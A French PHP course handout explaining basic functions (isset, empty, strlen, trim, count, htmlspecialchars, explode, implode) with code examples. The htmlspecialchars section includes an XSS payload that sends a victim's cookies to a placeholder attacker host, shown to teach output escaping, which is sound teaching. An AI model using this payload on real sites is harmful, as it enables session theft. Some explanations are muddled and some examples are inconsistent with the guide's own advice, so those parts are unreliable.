Les 30 fonctions essentielles VRAIMENT expliquées
Formation DWWM - 2025-2026
30 fonctions expliquées en détail :
isset() répond à la question : "Est-ce que cette variable existe dans la mémoire de PHP ?"
Analogie : C'est comme demander "Est-ce qu'il y a quelque chose dans ce tiroir ?" avant de chercher dedans.
<?php
// isset() retourne TRUE ou FALSE
$nom = "Marie";
isset($nom); // TRUE (la variable existe)
isset($inconnu); // FALSE (jamais déclarée)
$test = NULL;
isset($test); // FALSE (existe mais = NULL)
?>
Utilisation #1 : Vérifier $_GET / $_POST
<?php
// URL : page.php?nom=Marie
// ❌ DANGEREUX - Erreur si 'nom' n'existe pas
echo $_GET['nom']; // Warning: Undefined array key "nom"
// ✅ SÉCURISÉ - Vérifier avant d'utiliser
if (isset($_GET['nom'])) {
echo "Bonjour " . $_GET['nom'];
} else {
echo "Nom non fourni";
}
?>
?? (coalescence)$nom = $_GET['nom'] ?? 'Visiteur';
<?php
// CAS 1 : Variable avec valeur
$nom = "Marie";
isset($nom); // ✅ TRUE
// CAS 2 : Variable = 0
$compteur = 0;
isset($compteur); // ✅ TRUE (0 est une valeur !)
// CAS 3 : Variable = false
$actif = false;
isset($actif); // ✅ TRUE (false est une valeur !)
// CAS 4 : Variable = chaîne vide
$texte = "";
isset($texte); // ✅ TRUE ("" est une valeur !)
// CAS 5 : Variable = NULL
$test = NULL;
isset($test); // ❌ FALSE (NULL = n'existe pas pour isset)
// CAS 6 : Variable jamais déclarée
isset($inconnu); // ❌ FALSE
// CAS 7 : Variable supprimée
$temp = "test";
unset($temp);
isset($temp); // ❌ FALSE (n'existe plus)
?>
<?php
// Vérifier une clé de tableau
$user = [
'nom' => 'Dupont',
'prenom' => 'Marie'
// Pas de 'age'
];
// Vérifier si la clé existe
if (isset($user['nom'])) {
echo $user['nom']; // "Dupont"
}
if (isset($user['age'])) {
echo $user['age']; // Jamais exécuté
} else {
echo "Âge non renseigné";
}
// Vérifier plusieurs clés en même temps
if (isset($user['nom'], $user['prenom'])) {
echo "Nom complet : " . $user['prenom'] . " " . $user['nom'];
}
// Équivalent à :
if (isset($user['nom']) && isset($user['prenom'])) {
// ...
}
?>
$age = 0; // L'utilisateur a 0 ans (bébé)
if (isset($age)) {
echo "Âge renseigné"; // ✅ Affiché (0 est une valeur)
}
// Si vous voulez vérifier que ce n'est pas 0
if (isset($age) && $age > 0) {
echo "Âge valide";
}
$nom = "";
isset($nom); // TRUE (existe)
empty($nom); // TRUE (vide)
// isset() = "Existe ?"
// empty() = "Est vide ?"
$_GET, $_POST, $_COOKIE$_SESSION (connexion utilisateur)empty()empty() + autres validationsis_string(), is_numeric()...empty() répond à la question : "Est-ce que cette variable est vide ou n'existe pas ?"
Analogie : C'est comme regarder une boîte et demander "Est-ce que cette boîte est vide ?"
<?php
// VIDES (empty() = TRUE)
empty(""); // TRUE - Chaîne vide
empty(0); // TRUE - Zéro
empty("0"); // TRUE - Chaîne "0"
empty(NULL); // TRUE - NULL
empty(false); // TRUE - false
empty([]); // TRUE - Tableau vide
empty($nonDefinie); // TRUE - Variable non définie
// NON VIDES (empty() = FALSE)
empty("texte"); // FALSE - A du contenu
empty(42); // FALSE - Nombre différent de 0
empty(true); // FALSE - true
empty([1, 2]); // FALSE - Tableau avec contenu
empty(" "); // FALSE - Espaces (c'est du contenu)
empty(-1); // FALSE - Nombre négatif
// ⚠️ ATTENTION
$age = 0; // Âge = 0 ans (bébé)
empty($age); // TRUE (problème !)
$nom = " "; // Que des espaces
empty($nom); // FALSE (espaces = contenu)
empty(trim($nom)); // TRUE (après trim)
?>
C'est l'usage PRINCIPAL de empty() !
<?php
// Formulaire soumis
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$erreurs = [];
// Vérifier l'email
$email = $_POST['email'] ?? '';
if (empty($email)) {
$erreurs[] = "L'email est obligatoire";
}
// Vérifier le mot de passe
$password = $_POST['password'] ?? '';
if (empty($password)) {
$erreurs[] = "Le mot de passe est obligatoire";
}
// Vérifier le nom
$nom = trim($_POST['nom'] ?? ''); // trim() important !
if (empty($nom)) {
$erreurs[] = "Le nom est obligatoire";
}
// Si pas d'erreurs
if (empty($erreurs)) {
echo "Formulaire valide !";
// Traiter les données...
} else {
// Afficher les erreurs
foreach ($erreurs as $erreur) {
echo "<p style='color:red;'>$erreur</p>";
}
}
}
?>
| Valeur | isset() | empty() | Explication |
|---|---|---|---|
$x = "texte" |
✅ TRUE | ❌ FALSE | Existe et pas vide |
$x = "" |
✅ TRUE | ✅ TRUE | Existe mais vide |
$x = 0 |
✅ TRUE | ✅ TRUE | Existe mais = 0 |
$x = false |
✅ TRUE | ✅ TRUE | Existe mais = false |
$x = NULL |
❌ FALSE | ✅ TRUE | NULL = vide pour les 2 |
| Non définie | ❌ FALSE | ✅ TRUE | N'existe pas |
isset() = "Existe ?"empty() = "Est vide ?"
$age = 0; // Bébé de 0 ans
if (empty($age)) {
echo "Âge non renseigné"; // ❌ FAUX ! 0 est une valeur
}
// Solution :
if (!isset($age) || $age === '') {
echo "Âge non renseigné";
}
$nom = " "; // Que des espaces
empty($nom); // FALSE (espaces = contenu)
empty(trim($nom)); // TRUE (vide après trim)
// ✅ Toujours trim() avant empty()
$nom = trim($_POST['nom'] ?? '');
if (empty($nom)) {
$erreur = "Nom obligatoire";
}
// Champ requis
if (empty($email)) {
$erreur = "Email requis";
}
// Tableau vide
if (empty($panier)) {
echo "Votre panier est vide";
}
// Recherche
if (!empty($_GET['search'])) {
$recherche = $_GET['search'];
// Effectuer la recherche...
}
strlen() répond à la question : "Combien de caractères contient ce texte ?"
<?php
$nom = "Marie";
$longueur = strlen($nom);
echo $longueur; // 5
// Chaque caractère compte (y compris espaces)
$texte = "Bonjour tout le monde";
echo strlen($texte); // 21 (espaces comptés)
?>
Usage principal : Vérifier la longueur des champs
<?php
// Mot de passe minimum 8 caractères
$password = $_POST['password'] ?? '';
if (strlen($password) < 8) {
$erreur = "Le mot de passe doit faire au moins 8 caractères";
echo $erreur;
}
// Pseudo entre 3 et 20 caractères
$pseudo = $_POST['pseudo'] ?? '';
if (strlen($pseudo) < 3) {
$erreur = "Pseudo trop court (min 3 caractères)";
} elseif (strlen($pseudo) > 20) {
$erreur = "Pseudo trop long (max 20 caractères)";
} else {
echo "Pseudo valide !";
}
// Message Twitter (280 caractères max)
$tweet = $_POST['message'] ?? '';
if (strlen($tweet) > 280) {
$erreur = "Message trop long (" . strlen($tweet) . "/280)";
}
// Afficher le compteur
echo "Caractères : " . strlen($tweet) . " / 280";
?>
<?php
// Vérifier si une chaîne est vide
$message = $_POST['message'] ?? '';
// Méthode 1 : strlen()
if (strlen($message) === 0) {
echo "Message vide";
}
// Méthode 2 : empty() (plus simple)
if (empty($message)) {
echo "Message vide";
}
// ⚠️ ATTENTION : trim() d'abord !
$message = " "; // Que des espaces
strlen($message); // 3 (compte les espaces)
strlen(trim($message)); // 0 (vide après suppression)
// ✅ BONNE PRATIQUE
$message = trim($_POST['message'] ?? '');
if (strlen($message) === 0) {
echo "Message vide";
}
// Ou encore mieux :
if (empty(trim($message))) {
echo "Message vide";
}
?>
$mot = "été";
strlen($mot); // 5 (FAUX) car UTF-8
mb_strlen($mot); // 3 (CORRECT)
// Explication
// é = 2 octets en UTF-8
// "été" = e(1) + t(1) + é(2) = 4 octets + 1 = 5
// Si vous avez des accents
$texte = "Château";
strlen($texte); // 9 (compte les octets)
mb_strlen($texte); // 7 (compte les caractères)
// ✅ Utilisez mb_strlen() pour UTF-8
$password = "Motdepàssé"; // Avec accents
if (mb_strlen($password) < 8) {
echo "Trop court";
}
<?php
// 1. Tronquer un texte long
$description = "Un très long texte qui doit être raccourci...";
if (strlen($description) > 100) {
// Garder 97 caractères + "..."
$description = substr($description, 0, 97) . "...";
}
// 2. Compteur de caractères en temps réel (avec JavaScript)
?>
<textarea id="message" maxlength="280"></textarea>
<p>Caractères : <span id="count">0</span> / 280</p>
<script>
document.getElementById('message').addEventListener('input', function() {
document.getElementById('count').textContent = this.value.length;
});
</script>
<?php
// 3. Validation nom (entre 2 et 50 caractères)
$nom = trim($_POST['nom'] ?? '');
if (strlen($nom) < 2 || strlen($nom) > 50) {
$erreur = "Le nom doit faire entre 2 et 50 caractères";
}
// 4. Vérifier si contient du texte (pas que des espaces)
$message = trim($_POST['message'] ?? '');
if (strlen($message) > 0) {
echo "Message contient du texte";
}
?>
trim() répond à la question : "Enlève les espaces inutiles au début et à la fin"
<?php
$nom = " Marie ";
echo strlen($nom); // 11 (avec espaces)
echo strlen(trim($nom)); // 5 (sans espaces)
echo trim($nom); // "Marie"
?>
trim() supprime ces caractères :
" ""\t""\n""\r""\0""\x0B"<?php
$texte = " \t Bonjour \n ";
echo trim($texte); // "Bonjour"
// Variantes
$texte = " Bonjour ";
ltrim($texte); // "Bonjour " (Left = gauche seulement)
rtrim($texte); // " Bonjour" (Right = droite seulement)
trim($texte); // "Bonjour" (les deux côtés)
?>
TOUJOURS trim() les données de formulaires !
<?php
// ❌ SANS trim() - PROBLÈME
$email = $_POST['email'] ?? ''; // " marie@mail.com "
if (empty($email)) {
// Ne détecte PAS le problème (espaces = contenu)
}
// ✅ AVEC trim() - CORRECT
$email = trim($_POST['email'] ?? ''); // "marie@mail.com"
if (empty($email)) {
$erreur = "Email obligatoire";
}
// Exemple complet
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// ✅ TOUJOURS trim() d'abord
$nom = trim($_POST['nom'] ?? '');
$prenom = trim($_POST['prenom'] ?? '');
$email = trim($_POST['email'] ?? '');
$message = trim($_POST['message'] ?? '');
// Puis valider
if (empty($nom)) {
$erreurs[] = "Nom obligatoire";
}
if (empty($email)) {
$erreurs[] = "Email obligatoire";
}
}
?>
<?php
// 1. Nettoyer avant sauvegarde en BDD
$nom = trim($_POST['nom'] ?? '');
$email = trim($_POST['email'] ?? '');
$stmt = $pdo->prepare("INSERT INTO users (nom, email) VALUES (?, ?)");
$stmt->execute([$nom, $email]);
// 2. Comparaison de chaînes
$input = trim($_POST['code']);
$codeValide = "PROMO2024";
if ($input === $codeValide) {
echo "Code valide";
}
// Sans trim(), " PROMO2024 " !== "PROMO2024"
// 3. Enlever d'autres caractères
$url = "https://example.com///";
echo trim($url, '/'); // "https://example.com"
$phone = "---01-23-45-67-89---";
echo trim($phone, '-'); // "01-23-45-67-89"
// 4. Vérifier si vraiment vide
$message = " "; // Que des espaces
if (empty($message)) {
// FALSE (espaces = contenu)
}
if (empty(trim($message))) {
// TRUE (vide après trim)
}
?>
$nom = trim($_POST['nom'] ?? '');
count() répond à la question : "Combien y a-t-il d'éléments dans ce tableau ?"
<?php
$fruits = ["Pomme", "Banane", "Orange"];
$nbFruits = count($fruits);
echo $nbFruits; // 3
// Tableau vide
$vide = [];
echo count($vide); // 0
?>
<?php
// Tableau indexé
$fruits = ["Pomme", "Banane", "Orange"];
echo count($fruits); // 3
// Tableau associatif
$utilisateur = [
'nom' => 'Dupont',
'prenom' => 'Marie',
'age' => 25,
'ville' => 'Paris'
];
echo count($utilisateur); // 4 (compte les paires clé-valeur)
// Tableau multidimensionnel
$produits = [
['nom' => 'Produit 1', 'prix' => 10],
['nom' => 'Produit 2', 'prix' => 20],
['nom' => 'Produit 3', 'prix' => 30]
];
echo count($produits); // 3 (éléments au premier niveau)
// Compter récursivement (tous les niveaux)
$data = [
'user1' => ['nom' => 'Dupont', 'age' => 25],
'user2' => ['nom' => 'Martin', 'age' => 30]
];
echo count($data); // 2 (premier niveau)
echo count($data, COUNT_RECURSIVE); // 6 (tous niveaux)
// 2 clés principales + 4 sous-clés = 6
?>
<?php
$panier = [];
// Méthode 1 : count()
if (count($panier) === 0) {
echo "Panier vide";
}
// Méthode 2 : empty() (recommandé)
if (empty($panier)) {
echo "Panier vide";
}
// Afficher le nombre d'articles
$panier = [
['id' => 1, 'nom' => 'Produit 1'],
['id' => 2, 'nom' => 'Produit 2']
];
$nbArticles = count($panier);
echo "Panier : $nbArticles article(s)"; // "Panier : 2 article(s)"
// Vérifier s'il y a des résultats
$resultats = []; // Résultat d'une recherche
if (count($resultats) === 0) {
echo "Aucun résultat trouvé";
} else {
echo count($resultats) . " résultat(s) trouvé(s)";
}
?>
<?php
// 1. Panier d'achat
$_SESSION['panier'] = [
['id' => 1, 'nom' => 'Ordinateur', 'prix' => 899],
['id' => 2, 'nom' => 'Souris', 'prix' => 25]
];
$nbArticles = count($_SESSION['panier']);
echo "<span class='badge'>$nbArticles</span>"; // Badge sur l'icône panier
// 2. Pagination
$totalArticles = 47; // Nombre total d'articles
$parPage = 10;
$totalPages = ceil($totalArticles / $parPage); // 5 pages
echo "Pages : $totalPages";
// 3. Afficher les résultats
$users = [/* ... résultats BDD ... */];
if (count($users) === 0) {
echo "Aucun utilisateur trouvé";
} else {
echo count($users) . " utilisateur(s) trouvé(s)";
foreach ($users as $user) {
echo "<li>" . $user['nom'] . "</li>";
}
}
// 4. Valider un formulaire multi-choix
$langues = $_POST['langues'] ?? []; // Checkboxes
if (count($langues) < 1) {
$erreur = "Veuillez sélectionner au moins une langue";
}
?>
| Situation | count() | empty() | Recommandé |
|---|---|---|---|
| Vérifier si vide | count($arr) === 0 |
empty($arr) |
✅ empty() |
| Afficher le nombre | count($arr) |
❌ | ✅ count() |
| Vérifier minimum | count($arr) >= 2 |
❌ | ✅ count() |
| Boucle avec compteur | count($arr) |
❌ | ✅ count() |
// Vérifier si vide
if (empty($panier)) { } // ✅ Plus simple
if (count($panier) === 0) { } // ✅ Marche aussi
// Afficher le nombre
echo count($resultats) . " résultats"; // ✅ Obligatoire
// Minimum d'éléments
if (count($selection) < 2) {
$erreur = "Sélectionnez au moins 2 items";
}
htmlspecialchars() répond à la question : "Comment afficher du texte utilisateur sans risque ?"
Transformations effectuées :
| Caractère | Devient | Nom |
|---|---|---|
< |
< |
Inférieur à |
> |
> |
Supérieur à |
" |
" |
Guillemet double |
' |
' |
Guillemet simple |
& |
& |
Esperluette |
<?php
$texte = "<script>alert('XSS')</script>";
// Sans protection
echo $texte; // ❌ JavaScript s'exécute !
// Avec protection
echo htmlspecialchars($texte);
// Affiche : <script>alert('XSS')</script>
// Le navigateur affiche le texte, ne l'exécute pas
?>
<?php
// ✅ TOUJOURS protéger l'affichage
$nom = $_POST['nom'] ?? '';
?>
<!-- Dans le HTML -->
<h1>Bonjour <?= htmlspecialchars($nom) ?></h1>
<!-- Dans un attribut -->
<input type="text" value="<?= htmlspecialchars($nom) ?>">
<!-- Dans une classe CSS -->
<div class="<?= htmlspecialchars($classe) ?>">...</div>
<!-- Dans un lien -->
<a href="page.php?nom=<?= htmlspecialchars($nom) ?>">Lien</a>
<?php
// Syntaxe complète (recommandée)
echo htmlspecialchars($nom, ENT_QUOTES, 'UTF-8');
// ↑ ↑
// Protège aussi Encodage
// les guillemets UTF-8
?>
Créer une fonction courte pour taper moins :
<?php
// Fonction helper
function e($text) {
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
// Utilisation
$nom = "<script>alert('XSS')</script>";
$email = "marie@mail.com";
$message = "Message de l'utilisateur";
?>
<!DOCTYPE html>
<html>
<body>
<!-- ✅ Beaucoup plus court ! -->
<h1>Profil de <?= e($nom) ?></h1>
<p>Email : <?= e($email) ?></p>
<p>Message : <?= e($message) ?></p>
<!-- Dans un formulaire -->
<input type="text" value="<?= e($nom) ?>">
<!-- Dans un attribut -->
<div class="user-<?= e($userId) ?>">...</div>
</body>
</html>
e() est un standard dans beaucoup de frameworks (Laravel, Symfony...)
Ce qui se passe SANS protection :
<!-- formulaire.php -->
<form method="POST">
<input type="text" name="nom">
<button>Envoyer</button>
</form>
<?php
// ❌ DANGEREUX - Pas de protection
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$nom = $_POST['nom'];
echo "<h1>Bonjour $nom</h1>";
}
?>
Un pirate entre :
<script>
// Voler les cookies (session)
var cookies = document.cookie;
fetch('http://pirate.com/steal.php?data=' + cookies);
</script>
Résultat : Le JavaScript s'exécute ! Le pirate vole la session. 💀
// ✅ SÉCURISÉ
$nom = $_POST['nom'] ?? '';
echo "<h1>Bonjour " . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</h1>";
// Le <script> est affiché comme du texte, pas exécuté
value="", class="")<h1>, <p>, <div>)<title>)<textarea>explode() répond à la question : "Comment transformer ce texte en tableau ?"
<?php
// Exemple simple
$tags = "php,html,css,javascript";
$tableau = explode(",", $tags);
print_r($tableau);
// Array
// (
// [0] => php
// [1] => html
// [2] => css
// [3] => javascript
// )
// Utiliser le résultat
foreach ($tableau as $tag) {
echo "<span class='tag'>$tag</span> ";
}
?>
<?php
// 1. Découper une date
$date = "2024-12-30";
$parties = explode("-", $date);
$annee = $parties[0]; // "2024"
$mois = $parties[1]; // "12"
$jour = $parties[2]; // "30"
// Ou avec list()
list($annee, $mois, $jour) = explode("-", $date);
echo "$jour/$mois/$annee"; // "30/12/2024"
// 2. Tags d'un article
$tagsString = "php,symfony,formation,dwwm";
$tagsArray = explode(",", $tagsString);
// Afficher chaque tag
foreach ($tagsArray as $tag) {
echo "<a href='tag.php?t=$tag'>#$tag</a> ";
}
// 3. Limiter le nombre de divisions
$texte = "un:deux:trois:quatre:cinq";
$parts = explode(":", $texte, 3);
// ["un", "deux", "trois:quatre:cinq"]
// └────────────────┘
// Pas découpé
// 4. CSV simple
$ligne = "Marie,Dupont,25,Paris";
$colonnes = explode(",", $ligne);
$prenom = $colonnes[0]; // "Marie"
$nom = $colonnes[1]; // "Dupont"
$age = $colonnes[2]; // "25"
$ville = $colonnes[3]; // "Paris"
?>
implode() répond à la question : "Comment transformer ce tableau en texte ?"
<?php
// Exemple simple
$prenoms = ["Marie", "Jean", "Sophie"];
$texte = implode(", ", $prenoms);
echo $texte; // "Marie, Jean, Sophie"
// Changer le séparateur
echo implode(" - ", $prenoms); // "Marie - Jean - Sophie"
echo implode(" / ", $prenoms); // "Marie / Jean / Sophie"
echo implode("", $prenoms); // "MarieJeanSophie"
// join() est un alias de implode()
$texte = join(", ", $prenoms); // Identique
?>
<?php
// 1. Construire une requête SQL IN()
$ids = [1, 5, 12, 23, 45];
$idsString = implode(",", $ids);
$sql = "SELECT * FROM users WHERE id IN ($idsString)";
// SELECT * FROM users WHERE id IN (1,5,12,23,45)
// 2. Afficher une liste de tags
$tags = ["php", "html", "css"];
echo "Tags : " . implode(", ", $tags);
// "Tags : php, html, css"
// 3. Créer un fil d'Ariane (breadcrumb)
$chemin = ["Accueil", "Produits", "Ordinateurs", "Portable"];
echo implode(" > ", $chemin);
// "Accueil > Produits > Ordinateurs > Portable"
// 4. Sauvegarder des tags en BDD
$tagsArray = ["php", "symfony", "formation"];
$tagsString = implode(",", $tagsArray);
// Sauvegarder $tagsString dans la colonne "tags"
$stmt = $pdo->prepare("INSERT INTO articles (titre, tags) VALUES (?, ?)");
$stmt->execute([$titre, $tagsString]);
// 5. Liste HTML
$items = ["Pomme", "Banane", "Orange"];
echo "<ul><li>" . implode("</li><li>", $items) . "</li></ul>";
// <ul><li>Pomme</li><li>Banane</li><li>Orange</li></ul>
?>
Souvent utilisés ensemble pour transformer :
<?php
// 1. Changer le séparateur
$date = "2024-12-30";
$parts = explode("-", $date); // ["2024", "12", "30"]
$nouvDate = implode("/", $parts); // "2024/12/30"
// Ou en une ligne
$nouvDate = implode("/", explode("-", $date));
// 2. Nettoyer des tags
$tagsInput = "php, html, css , javascript";
// Découper
$tagsArray = explode(",", $tagsInput);
// Nettoyer chaque tag
$tagsArray = array_map('trim', $tagsArray);
// ["php", "html", "css", "javascript"]
// Rejoindre
$tagsPropres = implode(",", $tagsArray);
// "php,html,css,javascript"
// 3. Remplacer dans une liste
$texte = "Marie,Jean,Sophie";
// Remplacer "Jean" par "Paul"
$tableau = explode(",", $texte);
$index = array_search("Jean", $tableau);
$tableau[$index] = "Paul";
$texte = implode(",", $tableau);
// "Marie,Paul,Sophie"
?>
| Fonction | Utilité | Exemple |
|---|---|---|
| isset() | Variable existe ? | isset($_GET['id']) |
| empty() | Variable vide ? | empty($nom) |
| strlen() | Longueur texte | strlen($password) < 8 |
| trim() | Enlever espaces | trim($_POST['nom']) |
| count() | Compter éléments | count($panier) |
| htmlspecialchars() | Sécurité XSS | e($nom) |
| explode() / implode() | Découper/Joindre | explode(",", $tags) |
trim() les données de formulaireshtmlspecialchars() pour l'affichageisset() avant d'utiliser $_GET / $_POSTempty() + strlen()// Template parfait
$nom = trim($_POST['nom'] ?? '');
if (empty($nom)) {
$erreur = "Nom obligatoire";
} elseif (strlen($nom) < 2) {
$erreur = "Nom trop court";
} else {
echo "<h1>" . htmlspecialchars($nom, ENT_QUOTES, 'UTF-8') . "</h1>";
}
D'autres fonctions importantes à découvrir :
in_array() - Vérifier présence dans tableaudate() - Formater des datestime() - Timestamp actuelpassword_hash() - Hasher mots de passejson_encode() / json_decode() - Travailler avec JSONheader() - Redirection et headers HTTPfilter_var() - Valider email, URL...💡 Ces 7 fonctions = 50% de votre code PHP quotidien !